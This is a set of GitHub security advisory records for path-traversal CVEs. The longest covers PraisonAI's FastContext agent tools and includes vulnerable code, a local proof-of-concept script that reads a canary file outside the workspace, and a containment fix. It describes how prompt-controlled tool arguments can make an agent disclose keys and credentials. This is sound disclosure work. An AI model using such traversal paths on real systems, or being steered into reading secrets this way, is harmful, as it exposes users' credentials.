{
  "affected": [],
  "aliases": [
    "CVE-2024-8647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T12:15:28Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in GitLab affecting all versions starting 15.2 to 17.4.6, 17.5 prior to 17.5.4, and 17.6 prior to 17.6.2. On self hosted installs, it was possible to leak the anti-CSRF-token to an external site while the Harbor integration was enabled.",
  "id": "GHSA-4xpw-245v-vp2w",
  "modified": "2024-12-12T12:31:16Z",
  "published": "2024-12-12T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8647"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2666341"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/486051"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-60024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T18:15:55Z",
    "severity": "HIGH"
  },
  "details": "Multiple Improper Limitations of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerabilities [CWE-22] vulnerability in Fortinet FortiVoice 7.2.0 through 7.2.2, FortiVoice 7.0.0 through 7.0.7 may allow a privileged authenticated attacker to write arbitrary files via specifically HTTP or HTTPS commands",
  "id": "GHSA-4xrp-fj9x-455x",
  "modified": "2025-12-09T18:30:46Z",
  "published": "2025-12-09T18:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60024"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-5307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-06-30T23:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in Symantec Endpoint Protection Manager (SEPM) 12.1 before RU6 MP5 allows remote authenticated users to read arbitrary files in the web-root directory tree via unspecified vectors.",
  "id": "GHSA-4xvw-chv6-584h",
  "modified": "2022-05-17T01:19:29Z",
  "published": "2022-05-17T01:19:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5307"
    },
    {
      "type": "WEB",
      "url": "https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory\u0026pvid=security_advisory\u0026year=\u0026suid=20160628_01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/91443"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1036196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-10585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-08T06:15:15Z",
    "severity": "MODERATE"
  },
  "details": "The InfiniteWP Client plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.13.0 via the \u0027historyID\u0027 parameter of the ~/debug-chart/index.php file. This makes it possible for unauthenticated attackers to read .txt files outside of the intended directory.",
  "id": "GHSA-4xwv-9wqw-54g9",
  "modified": "2025-01-08T06:30:55Z",
  "published": "2025-01-08T06:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10585"
    },
    {
      "type": "WEB",
      "url": "https://plugins.svn.wordpress.org/iwp-client/tags/1.13.0/debug-chart/index.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3202851/iwp-client/trunk/debug-chart/index.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4d2518f6-3647-4bee-a98c-ce7f30375a62?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-24056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A hardcoded credentials vulnerability exists in Verint 5620PTZ Verint_FW_0_42, Verint 4320 V4320_FW_0_23, V4320_FW_0_31, and Verint S5120FD Verint_FW_0_42units. This could cause a confidentiality issue when using the FTP, Telnet, or SSH protocols.",
  "id": "GHSA-4xwv-xw85-x4w9",
  "modified": "2022-05-24T17:26:20Z",
  "published": "2022-05-24T17:26:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24056"
    },
    {
      "type": "WEB",
      "url": "https://ioac.tv/2Nbc40h"
    },
    {
      "type": "WEB",
      "url": "https://ioactive.com/verint-ptz-cameras-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:48:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# FastContext path resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI\u0027s `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model\u0027s tool-result context.\n\n## Technical Details\n\n`FastContextAgent` documents `workspace_path` as the \"Root directory for searches\" and stores it as an absolute path:\n\n```python\nclass FastContextAgent:\n    \"\"\"Specialized agent for fast parallel code search.\n\n    Attributes:\n        workspace_path: Root directory for searches\n    \"\"\"\n\n    def __init__(self, workspace_path: str, ...):\n        self.workspace_path = os.path.abspath(workspace_path)\n```\n\nThe same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.\n\nThe problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:\n\n```python\nif tool_name in (\"grep_search\", \"glob_search\"):\n    if \"search_path\" not in kwargs or kwargs[\"search_path\"] == \".\":\n        kwargs[\"search_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"search_path\"]):\n        kwargs[\"search_path\"] = os.path.join(self.workspace_path, kwargs[\"search_path\"])\nelif tool_name == \"list_directory\":\n    if \"dir_path\" not in kwargs or kwargs[\"dir_path\"] == \".\":\n        kwargs[\"dir_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"dir_path\"]):\n        kwargs[\"dir_path\"] = os.path.join(self.workspace_path, kwargs[\"dir_path\"])\nelif tool_name == \"read_file\":\n    if \"filepath\" in kwargs and not os.path.isabs(kwargs[\"filepath\"]):\n        kwargs[\"filepath\"] = os.path.join(self.workspace_path, kwargs[\"filepath\"])\n```\n\nAs a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `\u003cworkspace\u003e/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.\n\nThe downstream tools do not enforce a FastContext workspace boundary:\n\n```python\ndef grep_search(search_path: str, pattern: str, ...):\n    search_path = os.path.abspath(search_path)\n    ...\n    with open(filepath, \u0027r\u0027, encoding=\u0027utf-8\u0027, errors=\u0027ignore\u0027) as f:\n        lines = f.readlines()\n```\n\n```python\ndef read_file(filepath: str, ...):\n    filepath = os.path.abspath(filepath)\n    ...\n    with open(filepath, \u0027r\u0027, encoding=\u0027utf-8\u0027, errors=\u0027ignore\u0027) as f:\n        lines = f.readlines()\n```\n\n```python\ndef list_directory(dir_path: str, ...):\n    dir_path = os.path.abspath(dir_path)\n    ...\n    for entry in os.scandir(path):\n        ...\n```\n\nThe model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:\n\n```python\nresponse = model_client.chat.completions.create(\n    model=self.model,\n    messages=messages,\n    tools=[{\"type\": \"function\", \"function\": t} for t in self.get_tools()],\n    tool_choice=\"auto\"\n)\n...\nargs = json.loads(tool_call.function.arguments)\nbatch.add(tool_call.function.name, **args)\n...\ntool_results = self.coordinator.execute_turn_sync(batch)\n```\n\nThat path bypasses `execute_tool()`\u0027s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.\n\nThe public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as \"relative to workspace\", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:\n\n```python\ndef read_context(self, filepath: str, ...):\n    full_path = filepath\n    if not os.path.isabs(filepath):\n        full_path = os.path.join(self.workspace_path, filepath)\n\n    result = read_file(full_path, ...)\n```\n\nThis behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.\n\n## PoV\n\nThe following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\nwith TemporaryDirectory() as tmp:\n    root = Path(tmp) / \"workspace\"\n    root.mkdir()\n    (root / \"inside.txt\").write_text(\"INSIDE_ONLY=workspace\\n\")\n    outside = Path(tmp) / \"outside-secret.txt\"\n    outside.write_text(CANARY + \"\\n\")\n\n    agent = FastContextAgent(str(root))\n\n    assert len(agent.search_simple(CANARY).files) == 0\n    assert \"INSIDE_ONLY=workspace\" in agent.execute_tool(\"read_file\", filepath=\"inside.txt\")[\"content\"]\n\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")[\"content\"]\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=str(outside))[\"content\"]\n    assert any(CANARY in match[\"content\"] for match in agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY))\n    assert any(match[\"path\"] == \"outside-secret.txt\" for match in agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\"))\n    assert any(entry[\"name\"] == \"outside-secret.txt\" for entry in agent.execute_tool(\"list_directory\", dir_path=\"..\")[\"entries\"])\n\n    fc = FastContext(workspace_path=str(root), cache_enabled=False)\n    assert CANARY in fc.read_context(\"../outside-secret.txt\")\n```\n\n## PoC\n\nSave the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai-agents\" python fastcontext_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"results\": {\n    \"absolute_read_discloses_canary\": true,\n    \"glob_parent_reveals_outside_file\": true,\n    \"grep_parent_discloses_canary\": true,\n    \"high_level_read_context_discloses_canary\": true,\n    \"inside_read_still_works\": true,\n    \"list_parent_reveals_outside_file\": true,\n    \"relative_traversal_read_discloses_canary\": true,\n    \"simple_search_does_not_find_outside_canary\": true\n  },\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled the FastContext introduction boundary and current releases:\n\n```text\nPraisonAI FastContext workspace-boundary version sweep\ncurrent_main: 1620b49f36945d8cc8ee5635b906c960df5097a0\nlatest_tag_context: v4.6.63-2-g1620b49f\n\nv2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py\nv2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py\n{\"ref\": \"v2.3.11\", \"praisonaiagents_version\": \"0.0.190\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v3.8.1\", \"praisonaiagents_version\": \"0.11.7\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.5.149\", \"praisonaiagents_version\": \"1.6.8\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.58\", \"praisonaiagents_version\": \"1.6.58\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.62\", \"praisonaiagents_version\": \"1.6.62\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.63\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"HEAD\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n```\n\nNo external service, live target, or real credential is needed for reproduction.\n\n## Impact\n\nIf an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents.\n\nThe demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.\n\nSuggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake FastContext path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace once.\n2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed.\n3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`.\n4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths.\n5. Apply the same helper in `FastContext.read_context()`.\n6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher.\n7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_path(workspace: str, user_path: str) -\u003e str:\n    root = Path(workspace).resolve()\n    candidate = Path(user_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"FastContext path is outside workspace: {user_path}\") from exc\n    return str(resolved)\n```\n\n## Affected Package/Versions\n\n- Package: `praisonaiagents`\n- Component: `praisonaiagents.context.fast`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `1.6.63`\n- Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190`\n- Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonaiagents \u003e= 0.0.190, \u003c= 1.6.63\n```\n\nThe exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext\u0027s workspace root and file/search path tool arguments.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns.\n- `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`.\n- `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP.\n\nPublic issue/PR search found no hits for `FastContext arbitrary file read`, `\"Fast Context\" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`.\n\n## References\n\n- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context\n- PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools\n- PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained FastContext Workspace PoC\n\n```python\n#!/usr/bin/env python3\nimport json\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\n\ndef main() -\u003e None:\n    with TemporaryDirectory(prefix=\"fastcontext-workspace-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.txt\"\n        outside = temp_root / \"outside-secret.txt\"\n\n        inside.write_text(\"INSIDE_ONLY=workspace\\n\", encoding=\"utf-8\")\n        outside.write_text(CANARY + \"\\n\", encoding=\"utf-8\")\n\n        agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)\n        simple_result = agent.search_simple(CANARY)\n        inside_result = agent.execute_tool(\"read_file\", filepath=\"inside.txt\")\n        relative_read = agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")\n        absolute_read = agent.execute_tool(\"read_file\", filepath=str(outside))\n        grep_parent = agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY, max_results=5)\n        glob_parent = agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\", max_results=5)\n        list_parent = agent.execute_tool(\"list_directory\", dir_path=\"..\", max_entries=10)\n\n        context = FastContext(workspace_path=str(workspace), cache_enabled=False)\n        context_read = context.read_context(\"../outside-secret.txt\")\n\n        results = {\n            \"simple_search_does_not_find_outside_canary\": len(simple_result.files) == 0,\n            \"inside_read_still_works\": \"INSIDE_ONLY=workspace\" in inside_result.get(\"content\", \"\"),\n            \"relative_traversal_read_discloses_canary\": CANARY in relative_read.get(\"content\", \"\"),\n            \"absolute_read_discloses_canary\": CANARY in absolute_read.get(\"content\", \"\"),\n            \"grep_parent_discloses_canary\": any(CANARY in match.get(\"content\", \"\") for match in grep_parent),\n            \"glob_parent_reveals_outside_file\": any(match.get(\"path\") == \"outside-secret.txt\" for match in glob_parent),\n            \"list_parent_reveals_outside_file\": any(entry.get(\"name\") == \"outside-secret.txt\" for entry in list_parent.get(\"entries\", [])),\n            \"high_level_read_context_discloses_canary\": CANARY in (context_read or \"\"),\n        }\n\n        print(json.dumps({\"vulnerable\": all(results.values()), \"results\": results}, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-4xxv-6wmf-xf45",
  "modified": "2026-10-08T16:48:52Z",
  "published": "2026-10-08T16:48:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-52623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-26T18:15:08Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Fix a suspicious RCU usage warning\n\nI received the following warning while running cthon against an ontap\nserver running pNFS:\n\n[   57.202521] =============================\n[   57.202522] WARNING: suspicious RCU usage\n[   57.202523] 6.7.0-rc3-g2cc14f52aeb7 #41492 Not tainted\n[   57.202525] -----------------------------\n[   57.202525] net/sunrpc/xprtmultipath.c:349 RCU-list traversed in non-reader section!!\n[   57.202527]\n               other info that might help us debug this:\n\n[   57.202528]\n               rcu_scheduler_active = 2, debug_locks = 1\n[   57.202529] no locks held by test5/3567.\n[   57.202530]\n               stack backtrace:\n[   57.202532] CPU: 0 PID: 3567 Comm: test5 Not tainted 6.7.0-rc3-g2cc14f52aeb7 #41492 5b09971b4965c0aceba19f3eea324a4a806e227e\n[   57.202534] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS unknown 2/2/2022\n[   57.202536] Call Trace:\n[   57.202537]  \u003cTASK\u003e\n[   57.202540]  dump_stack_lvl+0x77/0xb0\n[   57.202551]  lockdep_rcu_suspicious+0x154/0x1a0\n[   57.202556]  rpc_xprt_switch_has_addr+0x17c/0x190 [sunrpc ebe02571b9a8ceebf7d98e71675af20c19bdb1f6]\n[   57.202596]  rpc_clnt_setup_test_and_add_xprt+0x50/0x180 [sunrpc ebe02571b9a8ceebf7d98e71675af20c19bdb1f6]\n[   57.202621]  ? rpc_clnt_add_xprt+0x254/0x300 [sunrpc ebe02571b9a8ceebf7d98e71675af20c19bdb1f6]\n[   57.202646]  rpc_clnt_add_xprt+0x27a/0x300 [sunrpc ebe02571b9a8ceebf7d98e71675af20c19bdb1f6]\n[   57.202671]  ? __pfx_rpc_clnt_setup_test_and_add_xprt+0x10/0x10 [sunrpc ebe02571b9a8ceebf7d98e71675af20c19bdb1f6]\n[   57.202696]  nfs4_pnfs_ds_connect+0x345/0x760 [nfsv4 c716d88496ded0ea6d289bbea684fa996f9b57a9]\n[   57.202728]  ? __pfx_nfs4_test_session_trunk+0x10/0x10 [nfsv4 c716d88496ded0ea6d289bbea684fa996f9b57a9]\n[   57.202754]  nfs4_fl_prepare_ds+0x75/0xc0 [nfs_layout_nfsv41_files e3a4187f18ae8a27b630f9feae6831b584a9360a]\n[   57.202760]  filelayout_write_pagelist+0x4a/0x200 [nfs_layout_nfsv41_files e3a4187f18ae8a27b630f9feae6831b584a9360a]\n[   57.202765]  pnfs_generic_pg_writepages+0xbe/0x230 [nfsv4 c716d88496ded0ea6d289bbea684fa996f9b57a9]\n[   57.202788]  __nfs_pageio_add_request+0x3fd/0x520 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202813]  nfs_pageio_add_request+0x18b/0x390 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202831]  nfs_do_writepage+0x116/0x1e0 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202849]  nfs_writepages_callback+0x13/0x30 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202866]  write_cache_pages+0x265/0x450\n[   57.202870]  ? __pfx_nfs_writepages_callback+0x10/0x10 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202891]  nfs_writepages+0x141/0x230 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202913]  do_writepages+0xd2/0x230\n[   57.202917]  ? filemap_fdatawrite_wbc+0x5c/0x80\n[   57.202921]  filemap_fdatawrite_wbc+0x67/0x80\n[   57.202924]  filemap_write_and_wait_range+0xd9/0x170\n[   57.202930]  nfs_wb_all+0x49/0x180 [nfs 6c976fa593a7c2976f5a0aeb4965514a828e6902]\n[   57.202947]  nfs4_file_flush+0x72/0xb0 [nfsv4 c716d88496ded0ea6d289bbea684fa996f9b57a9]\n[   57.202969]  __se_sys_close+0x46/0xd0\n[   57.202972]  do_syscall_64+0x68/0x100\n[   57.202975]  ? do_syscall_64+0x77/0x100\n[   57.202976]  ? do_syscall_64+0x77/0x100\n[   57.202979]  entry_SYSCALL_64_after_hwframe+0x6e/0x76\n[   57.202982] RIP: 0033:0x7fe2b12e4a94\n[   57.202985] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d d5 18 0e 00 00 74 13 b8 03 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 44 c3 0f 1f 00 48 83 ec 18 89 7c 24 0c e8 c3\n[   57.202987] RSP: 002b:00007ffe857ddb38 EFLAGS: 00000202 ORIG_RAX: 0000000000000003\n[   57.202989] RAX: ffffffffffffffda RBX: 00007ffe857dfd68 RCX: 00007fe2b12e4a94\n[   57.202991] RDX: 0000000000002000 RSI: 00007ffe857ddc40 RDI: 0000000000000003\n[   57.202992] RBP: 00007ffe857dfc50 R08: 7fffffffffffffff R09: 0000000065650f49\n[   57.202993] R10: 00007f\n---truncated---",
  "id": "GHSA-5222-7chv-655h",
  "modified": "2024-11-04T18:31:17Z",
  "published": "2024-03-26T18:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52623"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/31b62908693c90d4d07db597e685d9f25a120073"
    },
    {
      "type": "WEB",
